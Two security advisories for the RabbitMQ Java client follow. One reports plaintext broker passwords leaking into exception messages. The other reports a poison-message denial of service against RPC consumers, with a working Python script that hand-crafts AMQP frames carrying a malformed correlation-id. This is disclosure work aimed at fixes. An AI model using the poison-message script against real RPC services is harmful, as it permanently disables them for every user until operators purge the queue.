Summary When property-file/Map-based ConnectionFactory setup fails while parsing the uri key, the library wraps the underlying exception with the raw connection string — including the plaintext username and password — baked verbatim into the new exception's message.

Details ConnectionFactoryConfigurator.load(ConnectionFactory, Map<String,String>, String) (src/main/java/com/rabbitmq/client/ConnectionFactoryConfigurator.java, lines 142-155):

String uri = properties.get(prefix + "uri"); if (uri != null) { try { cf.setUri(uri); } catch (URISyntaxException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } catch (NoSuchAlgorithmException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } catch (KeyManagementException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } }

uri is the full AMQP URI — amqp(s)://username:password@host:port/vhost — concatenated verbatim into the exception message on any of the three catch branches. No masking/redaction exists anywhere in this class or in ConnectionFactory.setUri(). This is the library's documented Spring-Boot/ops-config entry point (ConnectionFactory.load(...), available since 4.4.0), not obscure internal code.

RabbitMQ's own AMQP URI spec (rabbitmq.com/docs/uri-spec) explicitly warns the password "should avoid leaking... the full URI should not appear in exception messages or log records." A sibling method twenty lines away (ConnectionFactory.setUri(URI)) already avoids this exact mistake for a different malformed-URI case — this path wasn't caught by that same care.

Note: KeyManagementException is declared in the throws clause but not actually reachable via the current setUri(String) → setUri(URI) call chain — the two real, reachable leak surfaces are the URISyntaxException branch (trivial, deterministic, scheme-independent) and the NoSuchAlgorithmException branch (real but narrower — amqps:// only, requires a restricted/FIPS-style default TLS provider).

PoC Map<String, String> props = new HashMap<>(); props.put("uri", "amqp://svc-account:P@ssW0rd With Space!@broker.internal:5672/prod"); ConnectionFactory cf = new ConnectionFactory(); ConnectionFactoryConfigurator.load(cf, props, "");

Throws:

java.lang.IllegalArgumentException: Error while setting AMQP URI: amqp://svc-account:P@ssW0rd With Space!@broker.internal:5672/prod

A password containing a space is entirely ordinary under common corporate password policies, and java.net.URI rejects such input outright — this isn't a contrived edge case.

Impact Default Spring Boot startup-failure logging, an APM/error tracker, a CI job log, or an engineer pasting a stack trace into an internal or public ticket now holds the plaintext broker password, in a system typically far less access-controlled than wherever the credential is normally stored. Note the underlying URISyntaxException also carries the same string in its own message, chained as the cause of RabbitMQ's IllegalArgumentException — so removing RabbitMQ's own + uri concatenation alone would not fully close this; the raw secret-bearing string also shouldn't be handed to new URI() for error-reporting purposes at all.

Suggested fix: don't include the raw uri string in the wrapped exception's message — redact the userinfo component (or omit the URI entirely) before including it in any exception text.

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

1. RpcServer.mainloop() catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129

2. The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

1. Start a broker:

bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq

2. Publish a message whose correlation-id is 255 × 0xFF: python import socket, struct

def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison" s = socket.createconnection(("127.0.0.1", 5672), timeout=10)

def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("enUS")))) cm, fm, = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison"))

close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE)

3. Run a consumer using the tutorial pattern against rpc.poison:

java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder() .correlationId(delivery.getProperties().getCorrelationId()).build(); channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8")); channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false); }; channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

bash java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255. at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...) at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753) channel open after: false queue depth after: 1

The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

Impact Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.